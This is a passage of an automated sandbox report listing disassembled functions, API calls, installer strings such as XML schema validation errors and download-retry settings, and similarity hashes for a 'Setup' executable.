
APIs

__EH_prolog3.LIBCMT ref: 6C8E4AE0

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8C89B7: __EH_prolog3.LIBCMT ref: 6C8C89BE
Part of subcall function 6C8C89B7: __CxxThrowException@8.LIBCMT ref: 6C8C8A89

__CxxThrowException@8.LIBCMT ref: 6C8E4E3F

Strings

schema validation failure: wrong number of child elements under top level Setup element, xrefs: 6C8E4DDD
SystemCheck, xrefs: 6C8E4C96
ParameterInfo.xml, xrefs: 6C8E4DEB
Blockers, xrefs: 6C8E4AEE
Items, xrefs: 6C8E4C42
Setup, xrefs: 6C8E4D78
EnterMaintenanceModeIf, xrefs: 6C8E4BB3, 6C8E4BB8, 6C8E4BEF
Configuration, xrefs: 6C8E4CEC

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8Throw
String ID: Blockers$Configuration$EnterMaintenanceModeIf$Items$ParameterInfo.xml$Setup$SystemCheck$schema validation failure: wrong number of child elements under top level Setup element
API String ID: 2489616738-3586895666
Opcode ID: cb0450e0cb65f1f24edb1827d8e57da3aee7215f883060c810d9d321f4af17fb
Instruction ID: 40679b67271e2f27193bb78b11c53b07685a331877c1614637302e42877f3af6
Opcode Fuzzy Hash: cb0450e0cb65f1f24edb1827d8e57da3aee7215f883060c810d9d321f4af17fb
Instruction Fuzzy Hash: 49C14E71A00249EFCB14DFE8CA45AEEBBB9AF59318F104959F424E7741C734DA09CB61

Function 6C8D6440 Relevance: 17.7, APIs: 2, Strings: 8, Instructions: 236COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8D6447

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8CA1FF: __EH_prolog3_catch.LIBCMT ref: 6C8CA206

__CxxThrowException@8.LIBCMT ref: 6C8D6666

Part of subcall function 6C8C838A: __EH_prolog3.LIBCMT ref: 6C8C8391

Part of subcall function 6C8C8415: __EH_prolog3.LIBCMT ref: 6C8C841C

Strings

schema validation failure: If URL is present then there must be a DownloadSize, xrefs: 6C8D65DA
HashValue, xrefs: 6C8D649E
schema validation failure: If HashValue is present then it must be a 64 hex-digit string, xrefs: 6C8D667A
CompressedHashValue, xrefs: 6C8D652C
ParameterInfo.xml, xrefs: 6C8D65E8, 6C8D6688
URL, xrefs: 6C8D6453
DownloadSize, xrefs: 6C8D64E3
CompressedDownloadSize, xrefs: 6C8D6571

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8H_prolog3_catchThrow
String ID: CompressedDownloadSize$CompressedHashValue$DownloadSize$HashValue$ParameterInfo.xml$URL$schema validation failure: If HashValue is present then it must be a 64 hex-digit string$schema validation failure: If URL is present then there must be a DownloadSize
API String ID: 24280941-3047338099
Opcode ID: 6978fcde2a001e3a8d4627a26c4d346bcbe55876552088431377c5ab7b942f14
Instruction ID: 85bd3db0b80d62bf4aee934abfa21510aa5c5f5028ca9e98fdbb602d23e502db
Opcode Fuzzy Hash: 6978fcde2a001e3a8d4627a26c4d346bcbe55876552088431377c5ab7b942f14
Instruction Fuzzy Hash: 19A16071904649DFCB20CFA8CA44AEEB7B9AF15318F144959F025EBB90C730EA09DB61

Function 6C906782 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 235comCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C906789

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C90988C: __EH_prolog3.LIBCMT ref: 6C909893
Part of subcall function 6C90988C: GetCommandLineW.KERNEL32(0000002C,6C90D52A,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C9098B4
Part of subcall function 6C90988C: PathIsRelativeW.SHLWAPI(?,?,?,00000000,?,UiInfo.xml,?,?,00000000,?), ref: 6C90996E

Part of subcall function 6C8CA8CC: __EH_prolog3.LIBCMT ref: 6C8CA8D3
Part of subcall function 6C8CA8CC: PathIsRelativeW.SHLWAPI(00000000,00000000,?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CA90B
Part of subcall function 6C8CA8CC: GetModuleFileNameW.KERNEL32(00000010,00000104,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CA964
Part of subcall function 6C8CA8CC: __CxxThrowException@8.LIBCMT ref: 6C8CAA28

CoInitialize.OLE32(00000000), ref: 6C9067DD
CoCreateInstance.OLE32(6C8BA974,00000000,00000017,6C8BA9A4,6C8FFA6E,?,?,?,UiInfo.xml,?,00000000,00000044,6C9036D8,02F92298,?,00000000), ref: 6C9067FB
__CxxThrowException@8.LIBCMT ref: 6C906A24
CoUninitialize.COMBASE(?,6C93BE00,?,?,?,UiInfo.xml,?,00000000,00000044,6C9036D8,02F92298,?,00000000,?), ref: 6C906A3A
SysFreeString.OLEAUT32(?), ref: 6C906A43

Strings

Xml Document load failure, xrefs: 6C906994
UiInfo.xml, xrefs: 6C90679A
ParameterInfo.xml, xrefs: 6C9069A2
LCIDHints, xrefs: 6C906881

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8PathRelativeThrow$CommandCreateFileFreeInitializeInstanceLineModuleNameStringUninitialize
String ID: LCIDHints$ParameterInfo.xml$UiInfo.xml$Xml Document load failure
API String ID: 2432735026-2443555527
Opcode ID: 8f0971c2fb283957c318e584cd5a284664e9ac3bd98821a2309f6e4632644b0f
Instruction ID: cab4aa3e07dccaf1a6e40f5497f92d4b5712eda7d6880d697766553020e1662e
Opcode Fuzzy Hash: 8f0971c2fb283957c318e584cd5a284664e9ac3bd98821a2309f6e4632644b0f
Instruction Fuzzy Hash: 1091AE71A00548EFCB00DFE8C984AEDBBB9AF59308F248599E415EBB40C735DE49DB61

Function 6C8C9F34 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 223memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8C9F3B
VariantInit.OLEAUT32(00000003), ref: 6C8C9F49
SysFreeString.OLEAUT32(?), ref: 6C8C9F83

Part of subcall function 6C90964C: __get_errno.LIBCMT ref: 6C90966C
Part of subcall function 6C90964C: __wcstoui64.LIBCMT ref: 6C90968F
Part of subcall function 6C90964C: __get_errno.LIBCMT ref: 6C9096A1

__ui64tow_s.LIBCMT ref: 6C8C9FEF
__CxxThrowException@8.LIBCMT ref: 6C8CA0BC
SysAllocString.OLEAUT32(00000000), ref: 6C8CA0C2
VariantClear.OLEAUT32(?), ref: 6C8CA0E9

Strings

Name, xrefs: 6C8CA121
schema validation failure: %s is invalid, a non-negitive numeric value is required for %s, xrefs: 6C8CA03C
schema validation failure: attribute %s missing for %s %s, xrefs: 6C8CA17B

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: StringVariant__get_errno$AllocClearException@8FreeH_prolog3InitThrow__ui64tow_s__wcstoui64
String ID: Name$schema validation failure: %s is invalid, a non-negitive numeric value is required for %s$schema validation failure: attribute %s missing for %s %s
API String ID: 1723289333-1070666262
Opcode ID: 9e4c4a18927ed7f854d110c11b7cd493e594d1310a29204356e3fea9bcb275b1
Instruction ID: 35ac64053a027242cb4f9b9f8aacf94a164f989871a29e81c90f570c5b987bb3
Opcode Fuzzy Hash: 9e4c4a18927ed7f854d110c11b7cd493e594d1310a29204356e3fea9bcb275b1
Instruction Fuzzy Hash: 23919C71A00248EFCF11CFE8C944ADEBBB5BF19318F14495AE415ABB91CB30DA08DB61

Function 6C8CA8CC Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 210filememoryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8CA8D3

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

PathIsRelativeW.SHLWAPI(00000000,00000000,?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CA90B
GetModuleFileNameW.KERNEL32(00000010,00000104,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CA964
__CxxThrowException@8.LIBCMT ref: 6C8CAA28
SetFilePointer.KERNEL32(?,00000000,6C8BA794,00000001,?,00000000,00000000,00000002,?,80000000,00000001,00000003,00000080,00000000,00000000,?), ref: 6C8CAA49
ReadFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CAA97
SysAllocStringLen.OLEAUT32(00000000,?), ref: 6C8CAAAC
CloseHandle.KERNEL32(?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C8CAB2C

Strings

Could not find mandatory data file %s. This is a bad package., xrefs: 6C8CAAE5
ReadXML failed to open XML file %s, with error %d, xrefs: 6C8CAA07

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: File$H_prolog3$AllocCloseException@8HandleModuleNamePathPointerReadRelativeStringThrow
String ID: Could not find mandatory data file %s. This is a bad package.$ReadXML failed to open XML file %s, with error %d
API String ID: 3768868350-4172873023
Opcode ID: db7b7535d5f4e80692fee94d8720676349c0915cb8c6416989405006c6e4cc5a
Instruction ID: 644dff58a14553ea3a10312725b9e789657160b999c573cd0ec1bc5c3dc3dbbc
Opcode Fuzzy Hash: db7b7535d5f4e80692fee94d8720676349c0915cb8c6416989405006c6e4cc5a
Instruction Fuzzy Hash: 5D816B71A00209EFCF10DFA8C9859EEBBB9BF19318F14492AE511B7B50C734DA15CBA5

Function 6C8FA78F Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 160COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8FA796

Part of subcall function 6C8CC5D4: __EH_prolog3.LIBCMT ref: 6C8CC5DB
Part of subcall function 6C8CC5D4: GetLastError.KERNEL32 ref: 6C8CC609

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C901236: __EH_prolog3.LIBCMT ref: 6C90123D

GetLastError.KERNEL32 ref: 6C8FA83B
GetLastError.KERNEL32 ref: 6C8FA8F4
GetLastError.KERNEL32 ref: 6C8FA95B

Strings

Failed to record DisplayedLcidId, xrefs: 6C8FA855
Failed to record IsRetailBuild, xrefs: 6C8FA975
Failed to record PackageName, xrefs: 6C8FA7B8
Failed to record InstallerVersion, xrefs: 6C8FA8B0
Failed to record PackageVersion, xrefs: 6C8FA7F7
Failed to record PatchType, xrefs: 6C8FA90E

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: ErrorH_prolog3Last
String ID: Failed to record DisplayedLcidId$Failed to record InstallerVersion$Failed to record IsRetailBuild$Failed to record PackageName$Failed to record PackageVersion$Failed to record PatchType
API String ID: 685212868-335235891
Opcode ID: 121fbe3372ceed56125f02d21e768e01a52bed72605601442e803946a10610ee
Instruction ID: 0fd2cad6b5f3ae47638513eb2933ac03309dc56ae43e403587ebe251f0f55bec
Opcode Fuzzy Hash: 121fbe3372ceed56125f02d21e768e01a52bed72605601442e803946a10610ee
Instruction Fuzzy Hash: 87518771200208BFDB20DFA5CA45ACE3B7ABF55398F114928B424DBB90C774E616DBA0

Function 6C8FA2DD Relevance: 16.8, APIs: 5, Strings: 6, Instructions: 271COMMON

Download Yara Rule

APIs

Part of subcall function 6C8CC53D: GetLastError.KERNEL32(?,6C8FA320,38D98A99,?,?), ref: 6C8CC55E

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C901236: __EH_prolog3.LIBCMT ref: 6C90123D

GetLastError.KERNEL32 ref: 6C8FA393
GetLastError.KERNEL32 ref: 6C8FA434
GetLastError.KERNEL32 ref: 6C8FA4A7
GetLastError.KERNEL32 ref: 6C8FA511
GetLastError.KERNEL32 ref: 6C8FA5A5

Strings

Failed to record StartSession, xrefs: 6C8FA322
Failed to record SetUserId, xrefs: 6C8FA3C0
Failed to record StartupAppid, xrefs: 6C8FA4C1
Failed to record MPC, xrefs: 6C8FA5BB
Failed to record SetMachineId, xrefs: 6C8FA461
Failed to record current state name, xrefs: 6C8FA52B

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: ErrorLast$H_prolog3
String ID: Failed to record MPC$Failed to record SetMachineId$Failed to record SetUserId$Failed to record StartSession$Failed to record StartupAppid$Failed to record current state name
API String ID: 3502553090-2804495384
Opcode ID: 9088dc46fbaf37cc30954bbd254b67b364b5cf270f25ceac21c42bf5225ca38a
Instruction ID: 84647e7bddbd5edf92b1e8ed7a8ab9fbbc956f59a07d4ca0648324ee26c60fcb
Opcode Fuzzy Hash: 9088dc46fbaf37cc30954bbd254b67b364b5cf270f25ceac21c42bf5225ca38a
Instruction Fuzzy Hash: CEA1C2312082419FD720CF69C945A9B7BE9BF653A8F100E2CF4A1D7BA1D774D909CB92

Function 6C8E2127 Relevance: 16.1, APIs: 2, Strings: 7, Instructions: 317COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8E212E

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

__CxxThrowException@8.LIBCMT ref: 6C8E2484

Strings

DelayBetweenRetries, xrefs: 6C8E21B5
CopyPackageFilesToDownloadLocation, xrefs: 6C8E21FD
DownloadRetries, xrefs: 6C8E216D
No items found. The package must contain at least one item., xrefs: 6C8E23F7
ParameterInfo.xml, xrefs: 6C8E2405
Items, xrefs: 6C8E2281
true, xrefs: 6C8E2233

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8Throw
String ID: CopyPackageFilesToDownloadLocation$DelayBetweenRetries$DownloadRetries$Items$No items found. The package must contain at least one item.$ParameterInfo.xml$true
API String ID: 2489616738-2573507987
Opcode ID: d831ebcdc94e9363603c3d092dd872bb417dd554b960585154276dff9ac8b45d
Instruction ID: 8746a7a28cfa6f8df05b5392a8802e7986b847241e2a62d59d2e9691cd116643
Opcode Fuzzy Hash: d831ebcdc94e9363603c3d092dd872bb417dd554b960585154276dff9ac8b45d
Instruction Fuzzy Hash: 9DD1607090024ADFCF14CFA8CA85AEEBBB5BF59308F148599E414EB791C734DA05CBA1

Function 6C5D32BC Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 303COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5D3302

Part of subcall function 6C5D3679: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,6C5D332F,?), ref: 6C5D3683
Part of subcall function 6C5D3679: OpenProcessToken.ADVAPI32(00000000,00000008,?,?,?,?,?,6C5D332F,?), ref: 6C5D36B3
Part of subcall function 6C5D3679: ConvertSidToStringSidW.ADVAPI32(00000000,?), ref: 6C5D36D5
Part of subcall function 6C5D3679: CloseHandle.KERNEL32(?,?,00000001,?,?,?,?,6C5D332F,?), ref: 6C5D36E0

EnterCriticalSection.KERNEL32(6C5F0168,?), ref: 6C5D3334
LeaveCriticalSection.KERNEL32(6C5F0168,00000400,?), ref: 6C5D33F5
LocalFree.KERNEL32(00000000), ref: 6C5D340C
SetLastError.KERNEL32(00000057), ref: 6C5D341F

Part of subcall function 6C5D17EB: malloc.MSVCRT ref: 6C5D17F6

ctype.LIBCPMT ref: 6C5DEDDC

Part of subcall function 6C5D343E: GetSystemTime.KERNEL32(00000000,00000838,00000000), ref: 6C5D347D
Part of subcall function 6C5D343E: SystemTimeToFileTime.KERNEL32(00000000,00000000), ref: 6C5D348B

Part of subcall function 6C5D30D2: InterlockedIncrement.KERNEL32(00000000), ref: 6C5D30D8

Strings

%s_%s, xrefs: 6C5D3AC6
W, xrefs: 6C5DEB77

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: Time$CriticalProcessSectionSystem$CloseConvertCurrentEnterErrorFileFreeHandleIncrementInterlockedLastLeaveLocalOpenStringTokenctypemallocmemset
String ID: %s_%s$W
API String ID: 2889056228-4070589124
Opcode ID: bbeb5d473a5bebc7e5e3069484f6d186a037620ae39d411f4c441d0e79cc7ead
Instruction ID: 3cbd5d82864c0779acb6a08831bbca578cc0fcdc34fd9f3de9d36d7566267aea
Opcode Fuzzy Hash: bbeb5d473a5bebc7e5e3069484f6d186a037620ae39d411f4c441d0e79cc7ead
Instruction Fuzzy Hash: 31C1C031900358DADB61DF18CC40F9ABAF8BF44308F568499E455A3961CBB1EE89CF88

Function 6C912B01 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 345COMMON

Download Yara Rule

Strings

File lock postponed for %s., xrefs: 6C912D73
File %s (%s), failed authentication. (Error = %d). It is recommended that you delete this file and retry setup again., xrefs: 6C912CF1

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID:
String ID: File %s (%s), failed authentication. (Error = %d). It is recommended that you delete this file and retry setup again.$File lock postponed for %s.
API String ID: 0-2368451233
Opcode ID: fb9295ce24e099a4cf8bffee23f75770ee9be23095d82e3bc15994ffa9cae0d7
Instruction ID: 0417f8c97072c22bc150ac29fd7ce0c68ddfa140a06e0cdd32c0577e95efb58a
Opcode Fuzzy Hash: fb9295ce24e099a4cf8bffee23f75770ee9be23095d82e3bc15994ffa9cae0d7
Instruction Fuzzy Hash: B9C1BF711086449FC320DF68C845A8FBBE8BFA6728F050B19F4A497F91C770D919CBA6

Function 6C8CAC58 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 298memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8CAC5F
SysFreeString.OLEAUT32(?), ref: 6C8CAD66
SysAllocString.OLEAUT32(-00000010), ref: 6C8CAE70
__CxxThrowException@8.LIBCMT ref: 6C8CAF3F

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8F8CD5: __EH_prolog3.LIBCMT ref: 6C8F8CDC

Part of subcall function 6C8C838A: __EH_prolog3.LIBCMT ref: 6C8C8391

Part of subcall function 6C8C8415: __EH_prolog3.LIBCMT ref: 6C8C841C

Strings

schema validation failure: Invalid ExpressionAlias or Id not found: , xrefs: 6C8CAF84
//*[@Id='%s'], xrefs: 6C8CAD26
schema validation failure: ExpressionAlias's Id not defined or defined too many times: , xrefs: 6C8CAEBF
ExpressionAlias, xrefs: 6C8CACAC, 6C8CADEA

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$String$AllocException@8FreeThrow
String ID: //*[@Id='%s']$ExpressionAlias$schema validation failure: ExpressionAlias's Id not defined or defined too many times: $schema validation failure: Invalid ExpressionAlias or Id not found:
API String ID: 191698298-1025498756
Opcode ID: ed2732535c675ac2837293f5995ce6023232cb3fbe981835b2db9dbb75f961d7
Instruction ID: 6ec11075206db97b0c7c41ee8258559d4268059a7bf619ea7e37ba9da6f780bc
Opcode Fuzzy Hash: ed2732535c675ac2837293f5995ce6023232cb3fbe981835b2db9dbb75f961d7
Instruction Fuzzy Hash: 1BC17071900249EFCB10DFE8CA849EEBBB5BF55308F244969E411EB741C735DA09DB61

Function 6C90D446 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 206COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C90D44D
GetCommandLineW.KERNEL32(0000006C,6C90B3B6,?,00000738,6C8FFA6E,?,6C8BA794,02F92298), ref: 6C90D48E

Part of subcall function 6C8C3E77: __EH_prolog3.LIBCMT ref: 6C8C3E7E

Part of subcall function 6C8C3A16: __EH_prolog3.LIBCMT ref: 6C8C3A1D

CoInitialize.OLE32(00000000), ref: 6C90D4EF
CoUninitialize.COMBASE(?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C90D6A9

Strings

UiInfo.xml, xrefs: 6C90D516
Hide, xrefs: 6C90D5E4
nosplashscreen, xrefs: 6C90D4A0
SplashScreen, xrefs: 6C90D574

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$CommandH_prolog3_catchInitializeLineUninitialize
String ID: Hide$SplashScreen$UiInfo.xml$nosplashscreen
API String ID: 1338294413-2964427009
Opcode ID: 6696892b680a02607f0213ac42719fd9a0f3779ec89a595df7d698d63fc82ff0
Instruction ID: 40a00a526a07c760bc3005611838cb6df1413d84399866c221fb6f9513d9408b
Opcode Fuzzy Hash: 6696892b680a02607f0213ac42719fd9a0f3779ec89a595df7d698d63fc82ff0
Instruction Fuzzy Hash: 81819171A04248DFDF10CFE8C944BDEBBB8AF15308F1445A9E454ABB81CB75DA09CBA1

Function 6C8C9C3A Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 174COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8C9C41
__CxxThrowException@8.LIBCMT ref: 6C8C9D24
__fassign.LIBCMT ref: 6C8C9D58
_wcstoul.LIBCMT ref: 6C8C9D65

Part of subcall function 6C91B6D0: wcstoxl.LIBCMT ref: 6C91B6E0

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8C838A: __EH_prolog3.LIBCMT ref: 6C8C8391

__get_errno.LIBCMT ref: 6C8C9D74

Strings

schema validation failure: non-numeric value, %s, for %s, xrefs: 6C8C9DB1
", xrefs: 6C8C9D88
schema validation failure: empty value, %s, for %s, xrefs: 6C8C9CA1

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

